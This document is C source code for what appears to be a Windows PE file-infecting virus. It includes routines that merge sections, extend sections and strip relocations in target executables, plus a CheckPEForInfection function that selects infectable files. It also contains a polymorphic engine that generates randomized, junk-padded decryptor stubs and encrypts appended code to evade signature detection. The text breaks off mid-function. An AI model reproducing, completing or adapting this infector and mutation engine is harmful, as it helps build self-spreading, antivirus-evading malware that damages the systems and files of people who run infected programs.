MergedSectionsAllocatedMemorySize=Sections[nSections-1].VirtualAddress-Sections[
0].VirtualAddress+Sections[nSections-1].SizeOfRawData;
    MergedSection = mallocz(MergedSectionsAllocatedMemorySize);

    if(!MergedSection)
    {
        fclosez(f);
        freez(Sections);
        return 0;
    }

    p=MergedSection;


    //set possible cavity rva
    *CavityRVA = Sections[0].VirtualAddress + Sections[0].Misc.VirtualSize;

    if(*CavityRVA < Sections[1].VirtualAddress)
        *CavitySize = Sections[1].VirtualAddress-*CavityRVA;
    else
        *CavitySize = 0;

    for(i=0;i<nSections;i++)
    {
       p=MergedSection+Sections[i].VirtualAddress-Sections[0].VirtualAddress;
       fseekz(f,Sections[i].PointerToRawData,SEEK_SET);
       if(!freadz(p,Sections[i].SizeOfRawData,1,f))
       {
           fclosez(f);
           freez(Sections);
           freez(MergedSection);
           return 0;
       }
    }

    //Merged section contents created in memory

    fseekz(f,Sections[0].PointerToRawData,SEEK_SET);
    if(!fwritez(MergedSection,MergedSectionsAllocatedMemorySize,1,f))
    {
        fclosez(f);
        freez(Sections);
        freez(MergedSection);
        return 0;
    }
```

```
    Sections[0].Characteristics=
    Sections[0].Characteristics     |
    IMAGE_SCN_MEM_EXECUTE           |
    IMAGE_SCN_MEM_READ              |
    IMAGE_SCN_MEM_WRITE;

    if(GenerateRandomNumber()%2)
    Sections[0].Characteristics=Sections[0].Characteristics|IMAGE_SCN_CNT_CODE;

    if(GenerateRandomNumber()%2)

Sections[0].Characteristics=Sections[0].Characteristics|IMAGE_SCN_CNT_INITIALIZE
D_DATA;

    if(GenerateRandomNumber()%2)

Sections[0].Characteristics=Sections[0].Characteristics|IMAGE_SCN_CNT_UNINITIALI
ZED_DATA;

    Sections[0].SizeOfRawData = MergedSectionsAllocatedMemorySize;
    Sections[0].Misc.VirtualSize = MergedSectionsAllocatedMemorySize;

    if(GenerateRandomNumber()%2)
    {
        Sections[0].Name[0]=(GenerateRandomNumber()%2?'Z':'z');
        Sections[0].Name[1]=(GenerateRandomNumber()%2?'E':'e');
        Sections[0].Name[2]=(GenerateRandomNumber()%2?'Y':'y');
        Sections[0].Name[3]=(GenerateRandomNumber()%2?'A':'a');
        Sections[0].Name[4]=(GenerateRandomNumber()%2?'V':'v');
        if(GenerateRandomNumber()%2)
        {
            Sections[0].Name[5]='2';
            Sections[0].Name[6]='9';
            Sections[0].Name[7]=(GenerateRandomNumber()%2?'A':'a');
        }
        else
        {
            Sections[0].Name[5]='6';
            Sections[0].Name[6]='6';
            Sections[0].Name[7]='6';
        }

    }

    fseekz(f,SectionsOffset,SEEK_SET);
    ZeroMem((unsigned
char*)&Sections[1],sizeof(IMAGE_SECTION_HEADER)*(nSections-1));

    if(!fwritez(Sections,sizeof(IMAGE_SECTION_HEADER)*nSections,1,f))
    {
        fclosez(f);
        freez(Sections);
        freez(MergedSection);
        return 0;
    }

    nthdrs.OptionalHeader.SizeOfCode=MergedSectionsAllocatedMemorySize;

nthdrs.OptionalHeader.SizeOfInitializedData=MergedSectionsAllocatedMemorySize;

nthdrs.OptionalHeader.SizeOfImage=((Sections[0].VirtualAddress+Sections[0].SizeO
fRawData)+nthdrs.OptionalHeader.SectionAlignment-1)&~(nthdrs.OptionalHeader.Sect
ionAlignment-1);
    nthdrs.FileHeader.NumberOfSections=1;

    fseekz(f,doshdr.e_lfanew,SEEK_SET);

    fwritez(&nthdrs,sizeof(IMAGE_NT_HEADERS),1,f);
```

```
    freez(Sections);
    freez(MergedSection);
    fclosez(f);
    return 1;
}


unsigned int ExtendLastSection(char * TargetPath,unsigned int bytes)
{
    void *f;
    unsigned int StartOfExtendedOffset=0;
    IMAGE_DOS_HEADER doshdr;
    IMAGE_NT_HEADERS nthdrs;
    unsigned int nSections=0;
    IMAGE_SECTION_HEADER * Sections=(void*)0;
    unsigned int SectionsOffset=0;

    f=fopenz(TargetPath,"r+b");

    if(!f)
    {
        return 0;
    }

    if(!freadz(&doshdr,sizeof(IMAGE_DOS_HEADER),1,f))
    {
        fclosez(f);
        return 0;
    }

    fseekz(f,doshdr.e_lfanew,SEEK_SET);

    if(!freadz(&nthdrs,sizeof(IMAGE_NT_HEADERS),1,f))
    {
        fclosez(f);
        return 0;
    }

    nSections = nthdrs.FileHeader.NumberOfSections;
    Sections = mallocz(sizeof(IMAGE_SECTION_HEADER)*nSections);

    if(!Sections)
    {
        fclosez(f);
        return 0;
    }

    SectionsOffset=ftellz(f);

    if(freadz(Sections,sizeof(IMAGE_SECTION_HEADER),nSections,f)!=nSections)
    {
        fclosez(f);
        freez(Sections);
        return 0;
    }

    bytes =
(bytes+nthdrs.OptionalHeader.FileAlignment-1)&~(nthdrs.OptionalHeader.FileAlignm
ent-1);


fseekz(f,Sections[nSections-1].PointerToRawData+Sections[nSections-1].SizeOfRawD
ata,SEEK_SET);
    StartOfExtendedOffset=ftellz(f);
    fseekz(f,bytes-1,SEEK_CUR);
    {
        char TempChar=0;
```

```
        if(!fwritez(&TempChar,1,1,f))
        {
            fclosez(f);
            freez(Sections);
            return 0;
        }
    }

    fseekz(f,SectionsOffset,SEEK_SET);
    Sections[nSections-1].SizeOfRawData+=bytes;
    Sections[nSections-1].Misc.VirtualSize+=bytes;
    if(fwritez(Sections,sizeof(IMAGE_SECTION_HEADER),nSections,f)!=nSections)
    {
        fclosez(f);
        freez(Sections);
        return 0;
    }

    nthdrs.OptionalHeader.SizeOfCode+=bytes;
    nthdrs.OptionalHeader.SizeOfInitializedData+=bytes;

nthdrs.OptionalHeader.SizeOfImage=((Sections[nSections-1].VirtualAddress+Section
s[nSections-1].SizeOfRawData)+nthdrs.OptionalHeader.SectionAlignment-1)&~(nthdrs
.OptionalHeader.SectionAlignment-1);

    fseekz(f,doshdr.e_lfanew,SEEK_SET);

    fwritez(&nthdrs,sizeof(IMAGE_NT_HEADERS),1,f);


    fclosez(f);
    freez(Sections);
    return StartOfExtendedOffset;
}



unsigned int KillRelocs(char * TargetPath)
{
    void * f;
    tHeaders headers;

    f = fopenz(TargetPath,"r+b");

    if(!f)
    {
        return 0;
    }

    if(!freadz(&headers.doshdr,sizeof(IMAGE_DOS_HEADER),1,f))
    {
        fclosez(f);
    }

    fseekz(f,headers.doshdr.e_lfanew,SEEK_SET);

    if(!freadz(&headers.nthdrs,sizeof(IMAGE_NT_HEADERS),1,f))
    {
        fclosez(f);
        return 0;
    }

    fseekz(f,headers.doshdr.e_lfanew,SEEK_SET);

    headers.nthdrs.OptionalHeader.DataDirectory[5].Size=0;
    headers.nthdrs.OptionalHeader.DataDirectory[5].VirtualAddress=0;

    if(!fwritez(&headers.nthdrs,sizeof(IMAGE_NT_HEADERS),1,f))
```

```
    {
        fclosez(f);
        return 0;
    }

    fclosez(f);
    return 1;
}



unsigned int CheckPEForInfection(char * TargetPath)
{
    void * f;
    tHeaders headers;

    f = fopenz(TargetPath,"r+b");

    if(!f)
    {
        return 0;
    }

    if(!freadz(&headers.doshdr,sizeof(IMAGE_DOS_HEADER),1,f))
    {
        fclosez(f);
    }

    if(headers.doshdr.e_magic != 'MZ' &&
       headers.doshdr.e_magic != 'ZM')
    {
        fclosez(f);
        return 0;
    }

    fseekz(f,headers.doshdr.e_lfanew,SEEK_SET);

    if(!freadz(&headers.nthdrs,sizeof(IMAGE_NT_HEADERS),1,f))
    {
        fclosez(f);
        return 0;
    }

    fclosez(f);

    if((headers.nthdrs.Signature==0x00004550)&&
       (headers.nthdrs.FileHeader.NumberOfSections!=1)&&
       (headers.nthdrs.OptionalHeader.Subsystem!=1)&&
       !(headers.nthdrs.FileHeader.Characteristics&IMAGE_FILE_SYSTEM)&&
#ifdef NO_INFECT_DLLS
       !(headers.nthdrs.FileHeader.Characteristics&IMAGE_FILE_DLL)&&
#endif
       (headers.nthdrs.FileHeader.Machine==IMAGE_FILE_MACHINE_I386))
    {
        return 1;
    }

    return 0;
}


/*
    CopySection function will copy a section from a source PE file
    to a dest PE file. The section will have the name specified in
    parameter name, and if name == NULL parameter n is used,where
    n is the index of the section.
*/
```

```
unsigned int CopySection(char * Src,char * Dst,char * name,unsigned int n)
{


}


---------------------------------
---------------------------------
---------------------------------
---------------------------------

pemanager.h
-----------

#ifndef __PEMANAGER_H__
#define __PEMANAGER_H__

#include <windows.h>


#define SECTION_TYPE_DATA 0x00000001
#define SECTION_TYPE_CODE 0x00000002

//#define NO_INFECT_DLLS

typedef struct
{
    IMAGE_DOS_HEADER doshdr;
    IMAGE_NT_HEADERS nthdrs;
    IMAGE_SECTION_HEADER sechdrs[50];
}tHeaders;


unsigned int GetHeaders(char * TargetPath,tHeaders * headers);

unsigned int OffsetToVA(tHeaders * headers,unsigned int offset);
unsigned int OffsetToRVA(tHeaders * headers,unsigned int offset);
unsigned int RVAToOffset(tHeaders * headers,unsigned int RVA);

/*
    AddSection:

        This function will add a section of given size in the target
        file given, of the given type,data or code,or both flags.

    Parameters:

        TargetPath: path of the file to add the section.
        SizeOfSection: size of the section to add.
        TypeOfSection: SECTION_TYPE_DATA,SECTION_TYPE_CODE or
SECTION_TYPE_DATA|SECTION_TYPE_CODE.

    Returned Values:

        PointerToRawData of the section added or zero if it failed.
*/

unsigned int AddSection(char * TargetPath,unsigned int SizeOfSection,int
TypeOfSection);


/*
...
*/
unsigned int GetEntryPointRVA(char * filename);

/*
```

```
    MergeSections:

      This function will merge all sections in one.

    Parameters:

      TargetPath: path and name of the file to merge.
      CavityRVA: out parameter where the function will put
      the rva where the end of first section.
      size: out parameter where the function will put a size
      of the cavity zone, it will be the size from the end
      of the first section and the start of the second one,
      all this after sections was merged.

    Returned values:

      1: all well.
      0: function failed.

      This function will not check if the file is a PE file.
*/
unsigned int MergeSections(char * TargetPath,unsigned int * CavityRVA,unsigned
int * CavitySize);

/*
    ExtendLastSection:

      This function will extend last section of a PE file X bytes.

    Parameters:

      TargetPath: path and name of the file to extend.
      bytes: bytes to extend.

    Returned Value:

      0:error,else it will return the offset of the start of the
      extended zone.

      This function will not check if the file is a PE file.

*/
unsigned int ExtendLastSection(char * TargetPath,unsigned int bytes);

unsigned int KillRelocs(char * TargetPath);
unsigned int CheckPEForInfection(char * TargetPath);

#endif


--------------------------------
--------------------------------
--------------------------------
--------------------------------

a.def
-----

EXPORTS

run


--------------------------------
--------------------------------
--------------------------------
--------------------------------
```

apis.h

```
#ifndef __APIS_H__
#define __APIS_H__

typedef int (*tcompar)(const void *, const void *);
extern void * (__stdcall * LoadLibraryAz)(char *);
extern void * (__stdcall * GetProcAddressz)(void *,char *);
extern void * (__cdecl * fopenz)(char *,char *);
extern void   (__cdecl * fclosez)(void *);
extern unsigned int    (__cdecl * freadz)(void *,unsigned int,unsigned int,void
*);
extern unsigned int    (__cdecl * fwritez)(void *,unsigned int,unsigned int,void
*);
extern int    (__cdecl * fseekz)(void *,unsigned int,unsigned int);
extern void   (__stdcall * FreeLibraryz)(void *);
extern unsigned int    (__cdecl * ftellz)(void *);
extern void   (__cdecl * srandz)(unsigned int);
extern unsigned int (__cdecl * randz)();
extern unsigned int (__stdcall * GetTickCountz)();
extern void * (__stdcall *HeapCreatez)(unsigned int ,unsigned int,unsigned int);
extern void * (__stdcall *HeapAllocz)(void *,unsigned int,unsigned int);
extern int    (__stdcall * HeapFreez)(void *,unsigned int,void *);
extern int    (__stdcall * HeapDestroyz)(void *);
extern void   (__cdecl * qsortz)(void *, unsigned int,unsigned int,tcompar);
extern void * (__cdecl * callocz)(unsigned int,unsigned int);
extern void   (__cdecl * freez)(void *);

#define mallocz(a) callocz(1,a)


extern int    (__stdcall * MessageBoxAz)(int,char*,char*,int);

#ifdef _DEBUG
extern int    (__stdcall * GetLastErrorz)();
#endif

#endif
```


---

codegenerator.c

```
#include "codegenerator.h"
#include "CodeGeneratorCommon.h"
#include "etg.h"
#include "helpful.h"
#include "apis.h"

#define INS2MIN
#define INS3MIN
#define LOOP1MIN


unsigned int GenerateDecryptorForAppendedCodeModeAdd(
unsigned char * dest,
unsigned int    destsize,
unsigned int    appendedsize,
unsigned int    key)
{
    unsigned int index=0,
```

```
                reg1=REAX,
                reg2=REBX,
                blocked=BLK_EAX|BLK_EBX,
                tempsize=0,
                trash1size=0,
                ins1size=5,
                trash2size=0,
                ins2size=SECURE_POP_SIZE,
                ins3size=SECURE_ADD_SIZE,
                loop1size=SECURE_XOR_SIZE+
                          SECURE_ADD_SIZE+
                          SECURE_LOOP_SIZE,
                available=destsize-
                          SECURE_POP_SIZE-
                          SECURE_ADD_SIZE-
                          SECURE_XOR_SIZE-
                          SECURE_ADD_SIZE-
                          SECURE_LOOP_SIZE-
                          5;
    if(destsize<SECURE_POP_SIZE+
                SECURE_ADD_SIZE+
                SECURE_XOR_SIZE+
                SECURE_ADD_SIZE+
                SECURE_LOOP_SIZE+
                5)
    {
        return 0;
    }

    //calculating available size for instructions/trash

    if(available)

available-=(trash1size=GenerateRandomNumberWithLargeRange(0,available-1));
    if(available)

available-=(trash2size=GenerateRandomNumberWithLargeRange(0,available-1));
    if(available)
    {
        available-=(tempsize=GenerateRandomNumberWithLargeRange(0,available-1));
        ins2size+=tempsize;
    }
    if(available)
    {
        available-=(tempsize=GenerateRandomNumberWithLargeRange(0,available-1));
        ins3size+=tempsize;
    }
    loop1size+=available;
    available=0;

    //calculating regs to use

    while((reg1=GenerateRandomNumberWithShortRange(0,7))==RESP);
    while
    (((reg2=GenerateRandomNumberWithShortRange(0,7))==reg1)||
    reg2==RESP);

    blocked = GetBlockedValue(reg1)|GetBlockedValue(reg2)|GetBlockedValue(RESP);

    //generating operations

    //nop

index=trash1size=GenerateOperation(OP_NOP,REGREG,reg1,reg2,blocked,dest,trash1si
ze);

    //call doff
    dest[index]=0xE8;
```

```
    index++;
    *((int*)&dest[index])=0;
    index+=4;

    //pop reg1
    ins2size+=trash2size;

ins2size=GenerateOperation(OP_POP,REGREG,reg1,reg2,blocked,&dest[index],ins2size
);
    index+=ins2size;

    //add reg1,endofdecryptor-doff
    tempsize=ins3size;

ins3size=GenerateOperation(OP_ADD,REGIMM,reg1,ins2size+ins3size+loop1size,blocke
d,&dest[index],ins3size);

    index+=ins3size;

    if(tempsize!=ins3size)
    {
        unsigned int k;
        unsigned int randcoderes=0;
        for(k=ins3size;k<tempsize;k++,index++,ins3size++)
        {
            randcoderes=GenerateOperation(OP_NOP,
                                          REGREG,
                                          reg1,
                                          reg2,
                                          blocked,
                                          &dest[index],
                                          tempsize-k);
            if(randcoderes)
            {
                k+=(randcoderes-1);
                index+=(randcoderes-1);
                ins3size+=(randcoderes-1);

            }
            else
            {
                dest[index]=0x90;
            }
        }

    }

    //loop
    {
        unsigned int loopins1size=SECURE_XOR_SIZE;
        unsigned int loopins2size=SECURE_ADD_SIZE;
        unsigned int loop1loopsize=SECURE_LOOP_SIZE;
        unsigned int
loopavailable=loop1size-SECURE_XOR_SIZE-SECURE_ADD_SIZE-SECURE_LOOP_SIZE;
        tOperation * LoopNodes;
        tOperation node;
        unsigned int Nnops;

        if(loopavailable)
        {
            tempsize=GenerateRandomNumberWithLargeRange(0,loopavailable-1);
            loopavailable-=tempsize;
            loopins1size+=tempsize;
        }
        if(loopavailable)
        {
            tempsize=GenerateRandomNumberWithLargeRange(0,loopavailable-1);
            loopavailable-=tempsize;
```

```
            loopins2size+=tempsize;
        }

        loop1loopsize+=loopavailable;
        loopavailable=0;

        node.blkregs = blocked;
        node.bytes = loopins1size;
        node.next = (void*)0;
        node.op1 = reg1;
        node.op2 = key;
        node.operation = OP_SUB;
        node.srcdest = MEMIMM;
        node.subloop = (void*)0;
        node.subloopnode = 0;
        node.subnodeiterations = 0;

        LoopNodes = AddOperation((void*)0,&node);

        node.blkregs = blocked;
        node.bytes = loopins2size;
        node.next = (void*)0;
        node.op1 = reg1;
        node.op2 = 4;
        node.operation = OP_ADD;
        node.srcdest = REGIMM;
        node.subloop = (void*)0;
        node.subloopnode = 0;
        node.subnodeiterations = 0;

        AddOperation(LoopNodes,&node);

        tempsize =
GenerateLoop(LoopNodes,reg2,REGIMM,(((appendedsize+3)&~3)/4),blocked,&dest[index
]);

        FreeOperations(LoopNodes);

        if(!tempsize)
        {
            return 0;
        }

        index+=tempsize;

        if(tempsize = loop1size - tempsize)
        {
            unsigned int k=0;
            unsigned int randcoderes=0;

            Nnops=tempsize;

tempsize=GenerateOperation(OP_NOP,REGREG,reg1,reg2,blocked,&dest[index],tempsize
);
            Nnops-=tempsize;
            index+=tempsize;

            for(k=0;k<Nnops;k++)
            {
                randcoderes=GenerateOperation(OP_NOP,
                                REGREG,
                                reg1,
                                reg2,
                                blocked,
                                &dest[index],
                                Nnops-k);

                if(randcoderes)
```

```
                {
                    index+=randcoderes;
                    k+=(randcoderes-1);
                    continue;
                }
                else
                {
                    dest[index]=0x90;
                    index++;
                }
            }
        }
    }

    return index;
}

unsigned char * EncryptBufferModeAdd(unsigned char * buffer,unsigned int
size,unsigned int * ReturnedSize)
{
    unsigned char * encrypted=(void*)0;
    unsigned decryptorsize=0;
    unsigned int key=0;
    unsigned int i=0,j=0;
    unsigned int totalbufsize=0;

    encrypted =
mallocz(size+20+4+(decryptorsize=GenerateRandomNumberWithShortRange(1*1024,10*10
24)));
    totalbufsize=size+20+4+decryptorsize;

    if(!encrypted)
    {
        return (void*)0;
    }

    for(i=0;i<totalbufsize;i++)
    {
        encrypted[i]=0x90;
    }

    *ReturnedSize = size+20+4+decryptorsize;

    key = GenerateRandomNumberWithLargeRange(0,MAXRAND);


if(!(decryptorsize=GenerateDecryptorForAppendedCodeModeAdd(encrypted,decryptorsi
ze,size,key)))
    {
        freez(encrypted);
        return (void*)0;
    }

    for(i=0;i+4<=size;i+=4)
    {
        *((int*)&encrypted[i+decryptorsize])=*((int*)&buffer[i])+key;
    }

    if(i<size)
    {
        for(j=i;i<size;i++)
        {
            encrypted[i+decryptorsize]=buffer[i];
        }


*((int*)&encrypted[j+decryptorsize])=*((int*)&encrypted[j+decryptorsize])+key;
    }
```

```
/*

  //PRUEBA!!!!!

{
    static char *p;
    unsigned int k;

    p = mallocz(size+4+decryptorsize);

    for(k=0;k<size+4+decryptorsize;k++)
    {
        p[k] = encrypted[k];
    }

     __asm
    {
        pushad
        mov eax,p
        call p
        popad
    }

    freez(p);
}

  //PRUEBA!!!!!

*/

    return encrypted;
}


unsigned int RorDword(unsigned int dd,unsigned char bits)
{
    unsigned int res;
    __asm
    {
        pushad
        mov eax,dword ptr [dd]
        mov cl,byte ptr [bits]
        ror eax,cl
        mov [res],eax
        popad
    }
    return res;
}


unsigned int GenerateDecryptorForAppendedCodeModeRol(
unsigned char * dest,
unsigned int    destsize,
unsigned int    appendedsize,
unsigned int    key)
{
    unsigned int index=0,
                 reg1=REAX,
                 reg2=REBX,
                 blocked=BLK_EAX|BLK_EBX,
                 tempsize=0,
                 trash1size=0,
                 ins1size=5,
                 trash2size=0,
                 ins2size=SECURE_POP_SIZE,
                 ins3size=SECURE_ADD_SIZE,
```

```
                loop1size=SECURE_XOR_SIZE+
                          SECURE_ADD_SIZE+
                          SECURE_LOOP_SIZE,
                available=destsize-
                          SECURE_POP_SIZE-
                          SECURE_ADD_SIZE-
                          SECURE_XOR_SIZE-
                          SECURE_ADD_SIZE-
                          SECURE_LOOP_SIZE-
                          5;
    if(destsize<SECURE_POP_SIZE+
                SECURE_ADD_SIZE+
                SECURE_XOR_SIZE+
                SECURE_ADD_SIZE+
                SECURE_LOOP_SIZE+
                5)
    {
        return 0;
    }

    //calculating available size for instructions/trash

    if(available)

available-=(trash1size=GenerateRandomNumberWithLargeRange(0,available-1));
    if(available)

available-=(trash2size=GenerateRandomNumberWithLargeRange(0,available-1));
    if(available)
    {
        available-=(tempsize=GenerateRandomNumberWithLargeRange(0,available-1));
        ins2size+=tempsize;
    }
    if(available)
    {
        available-=(tempsize=GenerateRandomNumberWithLargeRange(0,available-1));
        ins3size+=tempsize;
    }
    loop1size+=available;
    available=0;

    //calculating regs to use

    while((reg1=GenerateRandomNumberWithShortRange(0,7))==RESP);
    while
    (((reg2=GenerateRandomNumberWithShortRange(0,7))==reg1)||
    reg2==RESP);

    blocked = GetBlockedValue(reg1)|GetBlockedValue(reg2)|GetBlockedValue(RESP);

    //generating operations

    //nop

index=trash1size=GenerateOperation(OP_NOP,REGREG,reg1,reg2,blocked,dest,trash1si
ze);

    //call doff
    dest[index]=0xE8;
    index++;
    *((int*)&dest[index])=0;
    index+=4;

    //pop reg1
    ins2size+=trash2size;

ins2size=GenerateOperation(OP_POP,REGREG,reg1,reg2,blocked,&dest[index],ins2size
);
```

```
    index+=ins2size;

    //add reg1,endofdecryptor-doff
    tempsize=ins3size;

ins3size=GenerateOperation(OP_ADD,REGIMM,reg1,ins2size+ins3size+loop1size,blocke
d,&dest[index],ins3size);

    index+=ins3size;

    if(tempsize!=ins3size)
    {
        unsigned int k;
        unsigned int randcoderes=0;
        for(k=ins3size;k<tempsize;k++,index++,ins3size++)
        {
            randcoderes=GenerateOperation(OP_NOP,
                                          REGREG,
                                          reg1,
                                          reg2,
                                          blocked,
                                          &dest[index],
                                          tempsize-k);
            if(randcoderes)
            {
                k+=(randcoderes-1);
                index+=(randcoderes-1);
                ins3size+=(randcoderes-1);

            }
            else
            {
                dest[index]=0x90;
            }
        }

    }

    //loop
    {
        unsigned int loopins1size=SECURE_XOR_SIZE;
        unsigned int loopins2size=SECURE_ADD_SIZE;
        unsigned int loop1loopsize=SECURE_LOOP_SIZE;
        unsigned int
loopavailable=loop1size-SECURE_XOR_SIZE-SECURE_ADD_SIZE-SECURE_LOOP_SIZE;
        tOperation * LoopNodes;
        tOperation node;
        unsigned int Nnops;

        if(loopavailable)
        {
            tempsize=GenerateRandomNumberWithLargeRange(0,loopavailable-1);
            loopavailable-=tempsize;
            loopins1size+=tempsize;
        }
        if(loopavailable)
        {
            tempsize=GenerateRandomNumberWithLargeRange(0,loopavailable-1);
            loopavailable-=tempsize;
            loopins2size+=tempsize;
        }

        loop1loopsize+=loopavailable;
        loopavailable=0;

        node.blkregs = blocked;
        node.bytes = loopins1size;
        node.next = (void*)0;
```

```
        node.op1 = reg1;
        node.op2 = key&0xFF;
        node.operation = OP_ROL;
        node.srcdest = MEMIMM;
        node.subloop = (void*)0;
        node.subloopnode = 0;
        node.subnodeiterations = 0;

        LoopNodes = AddOperation((void*)0,&node);

        node.blkregs = blocked;
        node.bytes = loopins2size;
        node.next = (void*)0;
        node.op1 = reg1;
        node.op2 = 4;
        node.operation = OP_ADD;
        node.srcdest = REGIMM;
        node.subloop = (void*)0;
        node.subloopnode = 0;
        node.subnodeiterations = 0;

        AddOperation(LoopNodes,&node);

        tempsize =
GenerateLoop(LoopNodes,reg2,REGIMM,(((appendedsize+3)&~3)/4),blocked,&dest[index
]);

        FreeOperations(LoopNodes);

        if(!tempsize)
        {
            return 0;
        }

        index+=tempsize;

        if(tempsize = loop1size - tempsize)
        {
            unsigned int k=0;
            unsigned int randcoderes=0;

            Nnops=tempsize;

tempsize=GenerateOperation(OP_NOP,REGREG,reg1,reg2,blocked,&dest[index],tempsize
);
            Nnops-=tempsize;
            index+=tempsize;

            for(k=0;k<Nnops;k++)
            {
                randcoderes=GenerateOperation(OP_NOP,
                                REGREG,
                                reg1,
                                reg2,
                                blocked,
                                &dest[index],
                                Nnops-k);

                if(randcoderes)
                {
                    index+=randcoderes;
                    k+=(randcoderes-1);
                    continue;
                }
                else
                {
                    dest[index]=0x90;
                    index++;
```

```
                }
            }
        }
    }

    return index;
}

unsigned char * EncryptBufferModeRol(unsigned char * buffer,unsigned int
size,unsigned int * ReturnedSize)
{
    unsigned char * encrypted=(void*)0;
    unsigned decryptorsize=0;
    unsigned int key=0;
    unsigned int i=0,j=0;
    unsigned int totalbufsize=0;

    if(GenerateRandomNumber()%2)
    {
        return EncryptBufferModeAdd(buffer,size,ReturnedSize);
    }

    encrypted =
mallocz(size+20+4+(decryptorsize=GenerateRandomNumberWithShortRange(1*1024,10*10
24)));
    totalbufsize=size+20+4+decryptorsize;

    if(!encrypted)
    {
        return (void*)0;
    }

    for(i=0;i<totalbufsize;i++)
    {
        encrypted[i]=0x90;
    }

    *ReturnedSize = size+20+4+decryptorsize;

    key = GenerateRandomNumberWithLargeRange(0,MAXRAND);


if(!(decryptorsize=GenerateDecryptorForAppendedCodeModeRol(encrypted,decryptorsi
ze,size,key)))
    {
        freez(encrypted);
        return (void*)0;
    }

    for(i=0;i+4<=size;i+=4)
    {

*((int*)&encrypted[i+decryptorsize])=RorDword(*((int*)&buffer[i]),key&0xFF);
    }

    if(i<size)
    {
        for(j=i;i<size;i++)
        {
            encrypted[i+decryptorsize]=buffer[i];
        }


*((int*)&encrypted[j+decryptorsize])=RorDword(*((int*)&encrypted[j+decryptorsize
]),key&0xFF);
    }
```

```
/*
  //PRUEBA!!!!!

{
    static char *p;
    unsigned int k;

    p = mallocz(size+4+decryptorsize);

    for(k=0;k<size+4+decryptorsize;k++)
    {
        p[k] = encrypted[k];
    }

     __asm
    {
        pushad
        mov eax,p
        call p
        popad
    }

    freez(p);
}

  //PRUEBA!!!!!
*/


    return encrypted;
}


unsigned int GenerateDecryptorForAppendedCode(
unsigned char * dest,
unsigned int    destsize,
unsigned int    appendedsize,
unsigned int    key
)
{
/*  model:
        nop                         >trash1
        call doff                   >ins1
        nop                         >trash2
    doff:
        pop reg1                    >ins2
        add reg1,enddecryptor-doff >ins3
                                    >loop1
        mov reg2,(appendedsize+3)&~(3);
    decryptorloop:
        xor dword ptr [reg1],key
        add reg1,4
        dec reg2
        cmp reg2,0
        jne decryptorloop
    enddecryptor:
*/
    unsigned int index=0,
                 reg1=REAX,
                 reg2=REBX,
                 blocked=BLK_EAX|BLK_EBX,
                 tempsize=0,
                 trash1size=0,
                 ins1size=5,
                 trash2size=0,
                 ins2size=SECURE_POP_SIZE,
                 ins3size=SECURE_ADD_SIZE,
```

```
                loop1size=SECURE_XOR_SIZE+
                          SECURE_ADD_SIZE+
                          SECURE_LOOP_SIZE,
                available=destsize-
                          SECURE_POP_SIZE-
                          SECURE_ADD_SIZE-
                          SECURE_XOR_SIZE-
                          SECURE_ADD_SIZE-
                          SECURE_LOOP_SIZE-
                          5;
    if(destsize<SECURE_POP_SIZE+
                SECURE_ADD_SIZE+
                SECURE_XOR_SIZE+
                SECURE_ADD_SIZE+
                SECURE_LOOP_SIZE+
                5)
    {
        return 0;
    }

    //calculating available size for instructions/trash

    if(available)

available-=(trash1size=GenerateRandomNumberWithLargeRange(0,available-1));
    if(available)

available-=(trash2size=GenerateRandomNumberWithLargeRange(0,available-1));
    if(available)
    {
        available-=(tempsize=GenerateRandomNumberWithLargeRange(0,available-1));
        ins2size+=tempsize;
    }
    if(available)
    {
        available-=(tempsize=GenerateRandomNumberWithLargeRange(0,available-1));
        ins3size+=tempsize;
    }
    loop1size+=available;
    available=0;

    //calculating regs to use

    while((reg1=GenerateRandomNumberWithShortRange(0,7))==RESP);
    while
    (((reg2=GenerateRandomNumberWithShortRange(0,7))==reg1)||
    reg2==RESP);

    blocked = GetBlockedValue(reg1)|GetBlockedValue(reg2)|GetBlockedValue(RESP);

    //generating operations

    //nop

index=trash1size=GenerateOperation(OP_NOP,REGREG,reg1,reg2,blocked,dest,trash1si
ze);

    //call doff
    dest[index]=0xE8;
    index++;
    *((int*)&dest[index])=0;
    index+=4;

    //pop reg1
    ins2size+=trash2size;

ins2size=GenerateOperation(OP_POP,REGREG,reg1,reg2,blocked,&dest[index],ins2size
);
```

```
    index+=ins2size;

    //add reg1,endofdecryptor-doff
    tempsize=ins3size;

ins3size=GenerateOperation(OP_ADD,REGIMM,reg1,ins2size+ins3size+loop1size,blocke
d,&dest[index],ins3size);

    index+=ins3size;

    if(tempsize!=ins3size)
    {
        unsigned int k;
        unsigned int randcoderes=0;
        for(k=ins3size;k<tempsize;k++,index++,ins3size++)
        {
            randcoderes=GenerateOperation(OP_NOP,
                                          REGREG,
                                          reg1,
                                          reg2,
                                          blocked,
                                          &dest[index],
                                          tempsize-k);
            if(randcoderes)
            {
                k+=(randcoderes-1);
                index+=(randcoderes-1);
                ins3size+=(randcoderes-1);

            }
            else
            {
                dest[index]=0x90;
            }
        }

    }

    //loop
    {
        unsigned int loopins1size=SECURE_XOR_SIZE;
        unsigned int loopins2size=SECURE_ADD_SIZE;
        unsigned int loop1loopsize=SECURE_LOOP_SIZE;
        unsigned int
loopavailable=loop1size-SECURE_XOR_SIZE-SECURE_ADD_SIZE-SECURE_LOOP_SIZE;
        tOperation * LoopNodes;
        tOperation node;
        unsigned int Nnops;

        if(loopavailable)
        {
            tempsize=GenerateRandomNumberWithLargeRange(0,loopavailable-1);
            loopavailable-=tempsize;
            loopins1size+=tempsize;
        }
        if(loopavailable)
        {
            tempsize=GenerateRandomNumberWithLargeRange(0,loopavailable-1);
            loopavailable-=tempsize;
            loopins2size+=tempsize;
        }

        loop1loopsize+=loopavailable;
        loopavailable=0;

        node.blkregs = blocked;
        node.bytes = loopins1size;
        node.next = (void*)0;
```

```
        node.op1 = reg1;
        node.op2 = key;
        node.operation = OP_XOR;
        node.srcdest = MEMIMM;
        node.subloop = (void*)0;
        node.subloopnode = 0;
        node.subnodeiterations = 0;

        LoopNodes = AddOperation((void*)0,&node);

        node.blkregs = blocked;
        node.bytes = loopins2size;
        node.next = (void*)0;
        node.op1 = reg1;
        node.op2 = 4;
        node.operation = OP_ADD;
        node.srcdest = REGIMM;
        node.subloop = (void*)0;
        node.subloopnode = 0;
        node.subnodeiterations = 0;

        AddOperation(LoopNodes,&node);

        tempsize =
GenerateLoop(LoopNodes,reg2,REGIMM,(((appendedsize+3)&~3)/4),blocked,&dest[index
]);

        FreeOperations(LoopNodes);

        if(!tempsize)
        {
            return 0;
        }

        index+=tempsize;

